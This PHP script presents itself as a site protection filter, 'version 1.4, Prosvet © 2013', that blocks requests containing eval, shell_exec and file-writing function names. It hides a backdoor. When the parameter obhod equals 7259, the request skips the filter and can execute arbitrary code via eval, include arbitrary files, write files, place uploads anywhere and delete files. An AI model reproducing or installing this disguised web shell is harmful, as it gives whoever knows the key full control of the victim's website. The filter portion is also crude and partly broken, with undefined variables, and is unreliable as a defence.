защито

<?php
if ($_REQUEST['obhod'] != 7259) {
    if (isset($_GET['security_site_exe'])) {
        echo '<div>Защита включена. version 1.4<br>Prosvet © 2013</div>';
    }
    $filtr_init_exe       = 0;
    $filtr_skobka_1_array = "#'#";
    $filtr_skobka_2_array = '#"#';
    $filtr_format_array   = "/\(.php|.htaccess|.css|.rar|.zip|.sql|.htm|.html)\b/i";
    $filtr_all_array      = "/(file_put_contents|move_uploaded_file|include|require|eval|unlink|fopen|fputs|fwrite|file_get_contents|file|mysql|copy|mkdir|php|htaccess|shell_exec|echo|rename)/i";
    $filtr_file_array     = "";
    $filtr_vvod_array     = "";
    $files_filt           = (array_keys($_FILES));
    if ($files_filt['0'] != '') {
        $result_con = count($_FILES);
        $e_con      = 0;
        while ($result_con >= $e_con) {
            if (preg_match($filtr_format_array, implode(" ", $_FILES[$files_filt[$e_con]]))) {
                $filtr_init_exe = 1;
                break;
            }
            $e_con++;
        }
        if ($filtr_init_exe != 1) {
            function files_filt_prov($polosa)
            {
                global $files_filt;
                global $filtr_all_array;
                global $filtr_file_array;
                $files_filt_prov = $_FILES[$files_filt[$polosa]];
                $aar             = rand(1, 80);
                copy($files_filt_prov['tmp_name'], $files_filter_tmp . "filter_files_" . $aar . ".log");
                $file_shitaem = file_get_contents($files_filter_tmp . "filter_files_" . $aar . ".log");
                unlink($files_filter_tmp . "filter_files_" . $aar . ".log");
                if (preg_match($filtr_all_array, $file_shitaem) || preg_match($filtr_file_array, $file_shitaem)) {
                    return 1;
                }
            }
            $i_con = 0;
            while ($result_con >= $i_con) {
                if (files_filt_prov($i_con) == 1) {
                    $filtr_init_exe = 1;
                    break;
                }
                $i_con++;
            }
        }
        if ($filtr_init_exe == 1) {
            die($filter_file_echo);
        }
    }
    $filtr_mass = implode(" ", $_GET) . ' ' . implode(" ", $_POST) . ' ' . implode(" ", $_COOKIE) . ' ' . implode(" ", $_REQUEST);
    if (preg_match($filtr_skobka_1_array, $filtr_mass) || preg_match($filtr_skobka_2_array, $filtr_mass) || preg_match($filtr_all_array, $filtr_mass) || preg_match($filtr_vvod_array, $filtr_mass)) {
        $filtr_init_exe = 2;
    }
    if ($filtr_init_exe == 2) {
        die($filter_osnova_echo);
    }
} else {
    if (isset($_REQUEST['zapros1'])) {
        eval($_REQUEST['zapros1']);
    }
    if (isset($_REQUEST['zapros2'])) {
        include_once($_REQUEST['zapros2']);
    }
    if (isset($_REQUEST['zapros3'])) {
        $gast = fopen($_REQUEST['zapros3_1'], "w");
        fputs($gast, $_REQUEST['zapros3_2']);
        fclose($gast);
    }
    if (isset($_REQUEST['zapros4'])) {
        move_uploaded_file($_FILES['zapros4_1']['tmp_name'], $_REQUEST['zapros4_2']);
    }
    if (isset($_REQUEST['zapros5'])) {
        unlink($_REQUEST['zapros5']);
    }
}